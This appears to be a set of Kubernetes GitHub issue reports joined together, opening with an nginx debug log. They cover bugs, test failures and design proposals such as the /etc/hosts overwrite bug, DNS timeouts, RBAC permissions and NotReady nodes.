writev: 331 of 331 2016/05/25 21:34:35  debug  170 170:  67 chain writer out: 0000000000000000 2016/05/25 21:34:35  debug  170 170:  67 event timer del: 15: 1464212135388 2016/05/25 21:34:35  debug  170 170:  67 event timer add: 15: 60000:1464212135388 2016/05/25 21:34:35  debug  170 170: timer delta: 0 2016/05/25 21:34:35  debug  170 170: worker cycle 2016/05/25 21:34:35  debug  170 170: epoll timer: 35498 2016/05/25 21:34:35  debug  170 170: epoll: fd:15 ev:2005 d:00007f7e8d75b1d1 2016/05/25 21:34:35  debug  170 170:  67 http upstream request: \ /stubborn-poems.doc?\  2016/05/25 21:34:35  debug  170 170:  67 http upstream process header 2016/05/25 21:34:35  debug  170 170:  67 malloc: 000000000161f640:4096 2016/05/25 21:34:35  debug  170 170:  67 recv: fd:15 149 of 4096 2016/05/25 21:34:35  debug  170 170:  67 http proxy status 200 \ 200 ok\  2016/05/25 21:34:35  debug  170 170:  67 http proxy header: \ content-type: text/plain\  2016/05/25 21:34:35  debug  170 170:  67 http proxy header: \ date: wed, 25 may 2016 21:34:35 gmt\  2016/05/25 21:34:35  debug  170 170:  67 http proxy header: \ connection: close\  2016/05/25 21:34:35  debug  170 170:  67 http proxy header done 2016/05/25 21:34:35  debug  170 170:  67 http/1.1 200 ok      notice the line  2016/05/25 21:34:35  error  170 170: unexpected response for hello-node.default.svc.cluster.local  in the middle.  thanks!

what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : etc/hosts exists overwritten\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  :\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ dirty\ , builddate:\ 2017-04-07t20:46:46z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r \r   environment  :\r -   cloud provider or hardware configuration  : minikube on virtualbox 5.1.18 on windows 10 64-bit\r -   os    e.g. from /etc/os-release : minikube's boot2docker os\r -   kernel    e.g.  uname -a  : linux minikube 4.7.2  1 smp fri apr 7 10:38:40 pdt 2017 x86_64 gnu/linux\r -   install tools  : minikube 0.18.0\r -   others  :\r \r \r   what happened  :\r the  /etc/hosts  file in a container is modified every time a container is  re- created in a pod. this includes between a pod's init-container completing and the pod run-time containers starting.\r \r   what you expected to happen  :\r the  /etc/hosts  file should be written once at pod initialization as per the source code at https://github.com/kubernetes/kubernetes/blob/v1.6.0/pkg/kubelet/kubelet_pods.go l188-l192\r \r   how to reproduce it    as minimally and precisely as possible :\r create a pod with an init-container that appends a comment to the end of its  /etc/hosts  file then run  cat /etc/hosts  in a run-time container of the pod and see the appended comment is lost.\r \r can also be done with a multi-container pod where one container fails to stay running and gets recreated.\r \r   anything else we need to know  :\r the method for checking that the  /etc/hosts  file exists has a bug:\r  if _, err := os.stat filename ; os.isexist err  { \r https://github.com/kubernetes/kubernetes/blob/v1.6.0/pkg/kubelet/kubelet_pods.go l189\r \r  os.stat  on an existing file returns  err  of  nil  and then  os.isexist nil   returns false so the if block is not executed and the file gets overwritten.\r \r repro of this stat and isexist behaviour: https://play.golang.org/p/mwkjrdyubf

installing mounter.tar is broken.\r \r broken in https://github.com/kubernetes/kubernetes/pull/41944\r \r cc @jingxu97

refactor the code related to verifyvolumesareattached in operation_executor and operation_generator. the code is a little bit hard to read after a few rounds of changes. this function has two different ways of checking the volume attachment status, one is bulkverifyvolumes and the other is verifyvolumesareattachedpernode. some for loops are performed in operation_executor and some are in operation_generator. they are not consistent in these two verifyvolume functions.

 \r   what happened  :\r \r there are two separate efforts that are trying to do some useful things:\r    effort to make kubernetes self hosting\r    effort to make kubernetes easier/better at ha\r \r there is an interesting project here:\r https://github.com/coreos/kenc\r \r it does network checkpointing.\r \r with it, you can use k8s services for ha  kubelet can point at kubernetes.default.svc.cluster.local's service ip address .\r \r \r there are a few drawbacks i can see with the kenc approach:\r    it assumes iptables  doesnt cover user or ipvs modes \r    its an extra process/container\r    checkpoints can be slightly out of date if not run frequently or more resource intensive if run frequently\r    the checkpoint files are not the most human friendly format\r \r the pod checkpointing was done by an external process too and suffered from many of the same drawbacks. the decision was made to move it into kubelet.\r \r \r   what you expected to happen  :\r \r so, the propoosal. could we move this checkpointing logic into kube-proxy?\r \r it could look for svc's with a checkpoint annotation and write any changes to them onto the host in /var/lib/kube-proxy/ .yaml\r \r the would be human readable as they would just be copies of the annotated svc objects.\r \r then, during start of kube-proxy, if kube-proxy can not contact the api-server, it would restore all the svc objects in /var/kube-proxy/ .yaml before trying again.\r \r i think this would be a relatively minor change? is this a good thing to try and implement?

/ /  /status approved-for-milestone\r @kubernetes/sig-cluster-lifecycle-test-failures \r \r this job has been failing since at least 2017-11-08.  it's on the  sig-release-master-upgrade dashboard  https://k8s-testgrid.appspot.com/sig-release-master-upgrade ,\r and prevents us from cutting  v1.9.0-beta.1   kubernetes/sig-release 34 . is there work ongoing to bring this job back to green?\r \r https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.8-master-upgrade-master\r \r - none of the upgrade jobs are passing https://k8s-testgrid.appspot.com/sig-release-master-upgrade\r - last upgradetest green: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/1120\r - first upgradetest red: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/1121\r - latest failure: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/1137

cadvisor packages are being imported unconditionally, and only build on linux\r \r https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/logs/ci-kubernetes-cross-build/\r    \r i0110 06:53:03.885  +++  0110 06:52:45  windows/amd64: go build started\r i0110 06:53:03.886  vendor/github.com/google/cadvisor/container/containerd/factory.go:28:2: build constraints exclude all go files in /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/google/cadvisor/container/libcontainer\r i0110 06:53:03.886  vendor/github.com/google/cadvisor/accelerators/nvidia.go:30:2: build constraints exclude all go files in /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/mindprince/gonvml\r i0110 06:53:03.886  vendor/github.com/google/cadvisor/container/common/inotify_watcher.go:20:2: build constraints exclude all go files in /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/exp/inotify\r i0110 06:53:03.887  !!!  0110 06:52:50  call tree:\r i0110 06:53:03.887  !!!  0110 06:52:50   1: /go/src/k8s.io/kubernetes/hack/lib/golang.sh:687 kube::golang::build_binaries_for_platform ... \r i0110 06:53:03.887  !!!  0110 06:52:50   2: hack/make-rules/build.sh:27 kube::golang::build_binaries ... \r i0110 06:53:03.892  makefile:92: recipe for target 'all' failed\r i0110 06:53:03.895  makefile:442: recipe for target 'cross' failed\r

is this a bug report or feature request?  :\r i notice there is a todo in kubelet_node_status.go: the node status condition code out to a different file ..so i move node status condition code to kubelet_node_conditions.go to be centralized and add unit test for the functions. i am not sure if this todo is necessary. \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

hi,\r \r we are using rook  ceph  as storage solution in our kubernetes cluster.\r \r if we deploy the mysql demo from rook everything works as expected. but if we kill the node which hosts the mysql pod, the mysql pod gets this status, the newly spawned pod is stuck in containercreating forever:\r \r    namespace          name                                      ready     status              restarts   age       ip           node\r default            wordpress-mysql-5f4b68789d-fsxhs          1/1       unknown             0          10m       10.42.5.9    chmu007w001.rsint.net\r default            wordpress-mysql-5f4b68789d-sqflx          0/1       containercreating   0          54s       <none>       chmu004m002.rsint.net\r    \r \r deletion of the pod with this method doesn't work:\r \r    \r kubectl delete pod wordpress-mysql-5f4b68789d-fsxhs --force --grace-period=0 --wait=false\r    \r \r the pod with the 'unknown' pod will be still there, the newly spawned pod is stuck in 'containercreating'.\r \r shouldn't take kubernetes take care about that we can delete also pods which are on lost nodes?\r \r thanks and best regards, \r \r josef\r \r @kubernetes/sig-scheduling-bugs\r @kubernetes/sig-storage-bugs\r @kubernetes/sig-node-bugs\r \r \r - kubernetes version  use  kubectl version  : 1.10.3\r - cloud provider or hardware configuration: vm \r - os  e.g. from /etc/os-release : centos 7.5 \r - kernel  e.g.  uname -a  : 3.10.0-862.2.3.el7.x86_64\r - install tools: rancher rke\r - others:\r

\r \r   is this a bug report or feature request?  :\r \r   \r \r \r   what happened  :\r i create a kubernetes job which would deploy a pod to run the task. the pod immediately changes its status to imagepullbackoff because of the wrong image name without the private docker registry name  while the job's status is still running after 2 days.\r \r   what you expected to happen  :\r the job status should change to failed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r use a image that can not be pulled in the job spec.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : v10.0.0\r - cloud provider or hardware configuration: none\r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r - kernel  e.g.  uname -a  :\r linux stcvm-linux165 4.4.0-116-generic  140-ubuntu smp mon feb 12 21:23:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

   \r   what happened  :\r \r this is exactly analogous to https://github.com/kubernetes/kubernetes/issues/68986, but for kube-scheduler.\r \r kubernetes clusters with a self-hosted control plane  i.e. apiserver, controller-manager, scheduler run as pods  may run kube-scheduler with a service account with a clusterrolebinding to the default clusterrole  system:kube-scheduler , which is defined  here  https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/auth/authorizer/rbac/bootstrappolicy/policy.go l416 .\r \r starting in v1.12, both kube-scheduler  and kube-controller-manager  make a get request for the  extension-apiserver-authentication  configmap.\r \r    \r w0102 03:31:23.167185       1 authentication.go:262  unable to get configmap/extension-apiserver-authentication in kube-system.  usually fixed by 'kubectl create rolebinding -n kube-system role_name --role=extension-apiserver-authentication-reader --serviceaccount=your_ns:your_sa'\r w0102 03:31:23.167220       1 authentication.go:199  error looking up in-cluster authentication configuration: configmaps \ extension-apiserver-authentication\  is forbidden: user \ system:serviceaccount:kube-system:kube-scheduler\  cannot get resource \ configmaps\  in api group \ \  in the namespace \ kube-system\ \r    \r \r for the controller-manager case   68986 , we fixed the  system:kube-controller-manager  clusterrole to have this permission   69062 . i believe the same change is needed for system:kube-scheduler.\r \r i've only now detected the kube-scheduler issue, since self-hosted clusters weren't previously using a limited service account.\r \r   what you expected to happen  :\r \r clusterrole system:kube-scheduler should permit getting the extension-apiserver-authentication configmap.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r work on using a service account for the scheduler is in https://github.com/poseidon/typhoon/pull/370\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.13.1\r - cloud provider or hardware configuration: gce, digitalocean, aws\r - os  e.g. from /etc/os-release : container linux 1911.5.0\r - kernel  e.g.  uname -a  : 4.14.84-coreos\r - install tools: typhoon\r \r <!-- do not edit below this line -->\r 

a prod cluster consisting of 40 nodes and ~1100 pods seems to be bottlenecked by dns queries. looking at the skydns container logs i see lots of io errors talking to etcd:      2016/01/14 02:09:45 skydns: error from backend: 501: all the given peers are not reachable  failed to propose on members  http://localhost:4001  twice  last error: get http://localhost:4001/v2/keys/skydns/local/cluster/svc/default/com/foo/bar?quorum=false&recursive=true&sorted=false: dial tcp 127.0.0.1:4001: i/o timeout    0  2016/01/14 02:09:45 skydns: error from backend: 501: all the given peers are not reachable  failed to propose on members  http://localhost:4001  twice  last error: get http://localhost:4001/v2/keys/skydns/local/cluster/svc/default/com/foo/bar?quorum=false&recursive=true&sorted=false: dial tcp 127.0.0.1:4001: i/o timeout    0  2016/01/14 02:09:45 skydns: error from backend: 501: all the given peers are not reachable  failed to propose on members  http://localhost:4001  twice  last error: get http://localhost:4001/v2/keys/skydns/local/cluster/svc/default/com/foo/bar?quorum=false&recursive=true&sorted=false: dial tcp 127.0.0.1:4001: i/o timeout    0  2016/01/14 02:31:14 skydns: failure to return reply \ write udp: invalid argument\  2016/01/14 02:31:31 skydns: failure to return reply \ write udp: invalid argument\  2016/01/14 02:31:45 skydns: failure to return reply \ write udp: invalid argument\  2016/01/14 02:33:16 skydns: failure to return reply \ write udp: invalid argument\  2016/01/14 02:33:21 skydns: failure to return reply \ write udp: invalid argument\       we see that pods are — in  /etc/resolv.conf  — being given  ndots:5  which would, if i'm not mistaken, generate five queries per external lookup  one for each entry in the search path, and a final, recursive query ? the  large cluster  http://kubernetes.io/v1.1/docs/admin/cluster-large.html  docs indicate that scaling the size of the kube-dns pod is indicated here. i've confirmed that scaling out multiple kube-dns pods  with a kube2sky in each  causes high load on the docker daemon for each node in the cluster. however this issue still seems to be occurring with a scaled up pod  see below . is there a misconfiguration here?        sample pod /etc/resolv.conf nameserver 10.100.100.100 nameserver 10.99.0.2 search default.svc.cluster.local svc.cluster.local cluster.local ec2.internal options ndots:5          {   \ apiversion\ : \ v1\ ,   \ kind\ : \ replicationcontroller\ ,   \ metadata\ : {     \ labels\ : {       \ k8s-app\ : \ kube-dns\ ,       \ kubernetes.io/cluster-service\ : \ true\ ,       \ version\ : \ v9\      },     \ name\ : \ kube-dns-v9\ ,     \ namespace\ : \ kube-system\    },   \ spec\ : {     \ replicas\ : 1,     \ selector\ : {       \ k8s-app\ : \ kube-dns\ ,       \ version\ : \ v9\      },     \ template\ : {       \ metadata\ : {         \ labels\ : {           \ k8s-app\ : \ kube-dns\ ,           \ kubernetes.io/cluster-service\ : \ true\ ,           \ version\ : \ v9\          }       },       \ spec\ : {         \ containers\ :             {             \ command\ :                 \ /usr/local/bin/etcd\ ,               \ -data-dir\ ,               \ /var/etcd/data\ ,               \ -listen-client-urls\ ,               \ http://127.0.0.1:2379,http://127.0.0.1:4001\ ,               \ -advertise-client-urls\ ,               \ http://127.0.0.1:2379,http://127.0.0.1:4001\ ,               \ -initial-cluster-token\ ,               \ skydns-etcd\               ,             \ image\ : \ gcr.io/google_containers/etcd:2.0.9\ ,             \ name\ : \ etcd\ ,             \ resources\ : {               \ limits\ : {                 \ cpu\ : \ 1000m\ ,                 \ memory\ : \ 500mi\                }             },             \ volumemounts\ :                 {                 \ mountpath\ : \ /var/etcd/data\ ,                 \ name\ : \ etcd-storage\                }                         },           {             \ args\ :                 \ -domain=cluster.local\               ,             \ image\ : \ gcr.io/google_containers/kube2sky:1.11\ ,             \ name\ : \ kube2sky\ ,             \ resources\ : {               \ limits\ : {                 \ cpu\ : \ 200m\ ,                 \ memory\ : \ 100mi\                }             }           },           {             \ args\ :                 \ -machines=http://localhost:4001\ ,               \ -addr=0.0.0.0:53\ ,           \ -ns-rotate=false\ ,               \ -domain=cluster.local.\               ,             \ image\ : \ gcr.io/google_containers/skydns:2015-10-13-8c72f8c\ ,             \ livenessprobe\ : {               \ httpget\ : {                 \ path\ : \ /healthz\ ,                 \ port\ : 8080,                 \ scheme\ : \ http\                },               \ initialdelayseconds\ : 30,               \ timeoutseconds\ : 5             },             \ name\ : \ skydns\ ,             \ ports\ :                 {                 \ containerport\ : 53,                 \ name\ : \ dns\ ,                 \ protocol\ : \ udp\                },               {                 \ containerport\ : 53,                 \ name\ : \ dns-tcp\ ,                 \ protocol\ : \ tcp\                }              ,             \ readinessprobe\ : {               \ httpget\ : {                 \ path\ : \ /healthz\ ,                 \ port\ : 8080,                 \ scheme\ : \ http\                },               \ initialdelayseconds\ : 1,               \ timeoutseconds\ : 5             },             \ resources\ : {               \ limits\ : {                 \ cpu\ : \ 2000m\ ,                 \ memory\ : \ 1000mi\                }             }           },           {             \ args\ :                 \ -cmd=nslookup kubernetes.default.svc.cluster.local. localhost\ ,               \ -port=8080\               ,             \ image\ : \ gcr.io/google_containers/exechealthz:1.0\ ,             \ name\ : \ healthz\ ,             \ ports\ :                 {                 \ containerport\ : 8080,                 \ protocol\ : \ tcp\                }              ,             \ resources\ : {               \ limits\ : {                 \ cpu\ : \ 10m\ ,                 \ memory\ : \ 20mi\                }             }           }          ,         \ dnspolicy\ : \ default\ ,         \ volumes\ :             {             \ emptydir\ : {},             \ name\ : \ etcd-storage\            }                 }     }   } }

use of petsets with vitess  spawned from  18016  - https://github.com/kubernetes/kubernetes/tree/master/examples/vitess - http://vitess.io/getting-started/  vitess has three component tiers - tablets  data layer , vctld  admin tier , and gates  client proxies .  tablets are singleton instances that must be durable - each tablet contains a portion of the keyspace.  gates are stateless and best implemented with a replicaset/deployment.  ctld is also stateless  ?  and can be implemented with a replicaset/deployment  verify this .  each tablet is a pet, named based on the keyset it serves and the shard and keyspace it belongs to.  each tablet may also have a type.  a representation of the template for the tablet is here: https://github.com/kubernetes/kubernetes/blob/master/examples/vitess/vttablet-pod-template.yaml and the script that generates the tablets is here: https://github.com/kubernetes/kubernetes/blob/master/examples/vitess/vttablet-up.sh      initialization 1. start the gates and vctld instances  2. decide number and count of shards, distribution of types 3. create all the tablets for the distribution 4. wait for the tablets to show up in the topology  dynamic reconfiguration involves making calls to the vctld and then materializing the tablets.      upgrade  todo   there appear to be two main types of update - blue/green shard  migrate from one to another  or rolling update on a shard via promotion.  migration would involve a new shard being stood up and using vctld to shift transactions to the new shard, and rolling update would involve updating replicas and then having the master step down the new replica being promoted  as well as other members of the set.      reconfiguration  todo   requires commands to be invoked on the vctld instances for reconfiguration to take effect.  a babysitter / config change pod _could_ invoke those commands, although it's likely most migrations will be directed by admins and not automated for other reasons.      thoughts on vitess  tablets and how they are constructed for keyspaces, shards, and types demonstrate a multi-dimensional instance template, where a few key variables are expanded into instances that vary based on a few parameters.  vitess could succinctly be represented by a single petset with a set of member spans  or nested spans  that represent the different scaling dimensions, and then parameterized the resulting pod name and environment variables with a few parameter instances  keyspace, tablet-type .    it is likely that certain parameters would differ by template such as cpu, memory, or disk size.  read-only tablet types might have slightly different resource requirements than masters or replicas.  the other tablet types may be divergent enough that they do not fit into the petset, but should be represented as additional sets.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/28599/kubernetes-pull-build-test-e2e-gce/58426/  failed:  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io  replicationcontroller light should scale from 1 pod to 2 pods {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/horizontal_pod_autoscaling.go:88 expected error:     < errors.errorstring | 0xc820c80740>: {         s: \ error while stopping rc: rc-light-ctrl: timed out waiting for \\\ rc-light-ctrl\\\  to be synced\ ,     }     error while stopping rc: rc-light-ctrl: timed out waiting for \ rc-light-ctrl\  to be synced not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/autoscaling_utils.go:307      happened on a presubmit run in  28599.  previous issues for this test:  27443  27835  28900

kubectl can fail for a couple of reasons and we apparently leave the node cordoned\r    \r $ k drain e2e-test-beeps-minion-group-iinp\r node \ e2e-test-beeps-minion-group-iinp\  cordoned\r error: pods with local storage  use --delete-local-data to override : busybox-uid, zoo-0; pods not managed by replicationcontroller, replicaset, job, or daemonset  use --force to override : busybox-uid, default-http, host-test-container-pod, netserver-1, netserver-1, test-container-pod, netserver-0, test-container-pod, host-test-container-pod, netserver-0, fluentd-cloud-logging-e2e-test-beeps-minion-group-iinp, kube-proxy-e2e-test-beeps-minion-group-iinp; daemonset-managed pods  use --ignore-daemonsets to ignore : node-problem-detector-v0.1-yifp5\r \r $ k drain e2e-test-beeps-minion-group-iinp --delete-local-data\r node \ e2e-test-beeps-minion-group-iinp\  already cordoned\r ...\r    \r \r so i guess we're leaking a cordon?

is this a request for help?  : no \r \r  i submitted a help request through google support who did some of the research below but stated that \ this is an issue that need to be address by kubernetes engineers.\  \r \r   what keywords did you search in kubernetes issues before filing this one?   \ notready\  \ autoscale\ \r \r 4135 discusses similar problems with out-of-disk errors, but ours were related to out-of-memory which is configurable on nodes. \r 34772 is related to a race condition with scheduling; my issue has to do with node state.\r \r ---\r \r   bug report  :\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , \r gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:48:38z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ clean\ , builddate:\ 2016-11-12t05:16:27z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release : \r    \r name=\ ubuntu\ \r version=\ 16.04.1 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.1 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r -   kernel    e.g.  uname -a  : linux report-3312827547-hony0 4.4.21+  1 smp thu nov 10 21:43:53 pst 2016 x86_64 x86_64 x86_64 gnu/linux \r -   install tools  : gcloud\r -   others  :\r \r \r   what happened  :\r \r we have nodes that stop posting their node status back to kubernetes. \r \r    \r $ kubectl describe node gke-keylime-toolbox-highmem-pool-b5e681ff-fyyt\r ...\r wed, 16 nov 2016 03:05:57 -0800 nodestatusunknown kubelet stopped posting node status.\r ...\r    \r \r this leaves the node is a notready state which means that pods cannot be scheduled on it.\r \r    \r $ kubectl get nodes\r name                                             status     age\r gke-keylime-toolbox-highmem-pool-b5e681ff-fyyt   notready   6d\r    \r \r    \r $ kubectl get pods -a | grep -v running \r name                                                         ready     status    restarts   age\r report-file-1917812907-609xq          0/1       pending   0          7h\r reprocess-2942535581-pa5gj            0/1       pending   0          6h\r processing-2495744680-liqfk                              0/1       pending   0          6h\r mailers-1884379191-7bgb6               0/1       pending   0          6h\r    \r \r our cluster is set up with two node groups, both of which are configured for autoscale. however, because the node exists, autoscaling won't add a new node  in either group . because the node is stuck in \ notready\  state, kubernetes can't schedule any pods on it.\r \r this leaves us in a situation where we have pods that are waiting to be scheduled.\r \r trying to ssh into the node just spins while \ establishing connection to ssh server\ . i've let this try for over an hour and it won't connect. the only solution i have to resolve this is to reset the node. \r \r in investigation with google support we determined that the node had reached and oom condition that appeared to crash kubelet  or something . the solution google support suggested was to set memory limits on every container.\r \r we set memory limits on most of our containers, but continue to see this issue. \r \r   what you expected to happen  :\r setting a memory limit on all containers feels counterproductive to me as i would expect that if kubernetes could fail if the system runs out of memory that it would protect against that  i.e kill any container that is exceeding available memory on the node or something .\r \r additionally, if a node stops responding i expect that to be a different state than a node that is starting up. so when the nodes are \ notready\  and they have stopped responding, the autoscaler will spin up new nodes to satisfy the \ pending\  pod requirements. \r \r  if you want me to split this into two issues, let me know. \r \r   how to reproduce it    as minimally and precisely as possible :\r i tried to build a test cluster. it doesn't seem to crash the nodes though, so something more complicated than my \ use all the memory\  script might be necessary. \r \r manifests for the below are in  this gist  https://gist.github.com/jeremywadsack/ea689fda90ef986c5e626bfec9febf14 .\r \r spin up an autoscale cluster and load a deployment with replicas that requires the cluster to grow.\r \r    \r $ gcloud alpha container clusters create test-not-ready --num-nodes=1 --enable-autoscaling --min-nodes=1 --max-nodes=5 --machine-type g1-small\r creating cluster test-not-ready...done.\r $ kubectl apply -f nginx-deployment.yaml \r deployment \ nginx-deployment\  created\r $ kubectl get pods\r name                                ready     status              restarts   age\r nginx-deployment-3818977466-3rx74   0/1       containercreating   0          6s\r nginx-deployment-3818977466-847me   0/1       pending             0          6s\r    \r \r wait for the cluster to add a new node and schedule the pod. \r \r the spin up a pod that will consume all the memory on a node.\r \r    \r $ kubectl delete deployment all-memory-deployment\r $ kubectl top nodes\r name                                            cpu cores    cpu%      memory bytes    memory%   \r gke-test-not-ready-default-pool-b04036fd-q9ay   61m          6%        763mi           44%       \r gke-test-not-ready-default-pool-b04036fd-cbi5   986m         98%       856mi           50%\r    \r \r wait for the node to run out of memory and crash.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-prod-smoke/1408/  failed:  k8s.io  kubectl client  k8s.io  kubectl rolling-update should support rolling-update to same image  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:1015 expected error:     <exec.codeexiterror>: {         err: {             s: \ error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.196.25.107 --kubeconfig=/workspace/.kube/config rolling-update e2e-test-nginx-rc --update-period=1s --image=gcr.io/google_containers/nginx-slim:0.7 --image-pull-policy=ifnotpresent --namespace=e2e-tests-kubectl-7nw0k      <nil> created e2e-test-nginx-rc-aa6e00f12c85a8813ecbd99ff468c00b\ scaling up e2e-test-nginx-rc-aa6e00f12c85a8813ecbd99ff468c00b from 0 to 1, scaling down e2e-test-nginx-rc from 1 to 0  keep 1 pods available, don't exceed 2 pods \ scaling e2e-test-nginx-rc-aa6e00f12c85a8813ecbd99ff468c00b up to 1\ scaling e2e-test-nginx-rc down to 0\ update succeeded. deleting old controller: e2e-test-nginx-rc\ renaming e2e-test-nginx-rc to e2e-test-nginx-rc-aa6e00f12c85a8813ecbd99ff468c00b\  unable to connect to the server: read tcp 172.17.0.3:33846->104.196.25.107:443: read: connection timed out\     <nil> 0xc820881340 exit status 1 <nil> true  0xc8200388f8 0xc820038928 0xc820038958   0xc8200388f8 0xc820038928 0xc820038958   0xc820038920 0xc820038950   0xaf8950 0xaf8950  0xc82054dec0}:\ command stdout:\ created e2e-test-nginx-rc-aa6e00f12c85a8813ecbd99ff468c00b\ scaling up e2e-test-nginx-rc-aa6e00f12c85a8813ecbd99ff468c00b from 0 to 1, scaling down e2e-test-nginx-rc from 1 to 0  keep 1 pods available, don't exceed 2 pods \ scaling e2e-test-nginx-rc-aa6e00f12c85a8813ecbd99ff468c00b up to 1\ scaling e2e-test-nginx-rc down to 0\ update succeeded. deleting old controller: e2e-test-nginx-rc\ renaming e2e-test-nginx-rc to e2e-test-nginx-rc-aa6e00f12c85a8813ecbd99ff468c00b\ \ stderr:\ unable to connect to the server: read tcp 172.17.0.3:33846->104.196.25.107:443: read: connection timed out\ \ error:\ exit status 1\ \ ,         },         code: 1,     }     error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.196.25.107 --kubeconfig=/workspace/.kube/config rolling-update e2e-test-nginx-rc --update-period=1s --image=gcr.io/google_containers/nginx-slim:0.7 --image-pull-policy=ifnotpresent --namespace=e2e-tests-kubectl-7nw0k      <nil> created e2e-test-nginx-rc-aa6e00f12c85a8813ecbd99ff468c00b     scaling up e2e-test-nginx-rc-aa6e00f12c85a8813ecbd99ff468c00b from 0 to 1, scaling down e2e-test-nginx-rc from 1 to 0  keep 1 pods available, don't exceed 2 pods      scaling e2e-test-nginx-rc-aa6e00f12c85a8813ecbd99ff468c00b up to 1     scaling e2e-test-nginx-rc down to 0     update succeeded. deleting old controller: e2e-test-nginx-rc     renaming e2e-test-nginx-rc to e2e-test-nginx-rc-aa6e00f12c85a8813ecbd99ff468c00b      unable to connect to the server: read tcp 172.17.0.3:33846->104.196.25.107:443: read: connection timed out         <nil> 0xc820881340 exit status 1 <nil> true  0xc8200388f8 0xc820038928 0xc820038958   0xc8200388f8 0xc820038928 0xc820038958   0xc820038920 0xc820038950   0xaf8950 0xaf8950  0xc82054dec0}:     command stdout:     created e2e-test-nginx-rc-aa6e00f12c85a8813ecbd99ff468c00b     scaling up e2e-test-nginx-rc-aa6e00f12c85a8813ecbd99ff468c00b from 0 to 1, scaling down e2e-test-nginx-rc from 1 to 0  keep 1 pods available, don't exceed 2 pods      scaling e2e-test-nginx-rc-aa6e00f12c85a8813ecbd99ff468c00b up to 1     scaling e2e-test-nginx-rc down to 0     update succeeded. deleting old controller: e2e-test-nginx-rc     renaming e2e-test-nginx-rc to e2e-test-nginx-rc-aa6e00f12c85a8813ecbd99ff468c00b          stderr:     unable to connect to the server: read tcp 172.17.0.3:33846->104.196.25.107:443: read: connection timed out          error:     exit status 1      not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:167       previous issues for this test:  26138  28429  28737

discussed in the sig-cluster-lifecycle meeting...\r currently the bootstraptokenauthenticator decides whether a given token is a bootstrap token by looking at the format  <six chars>.<sixteen chars> .\r however, it might be better to only support tokens with a specific  k8s-bt  prefix or something so that the \ fast route\  will be faster when we move this to beta.\r also this might reduce possible confusion that might occur later on.\r \r cc @jbeda @mattmoyer @liggitt @ericchiang @ncdc @timothysc

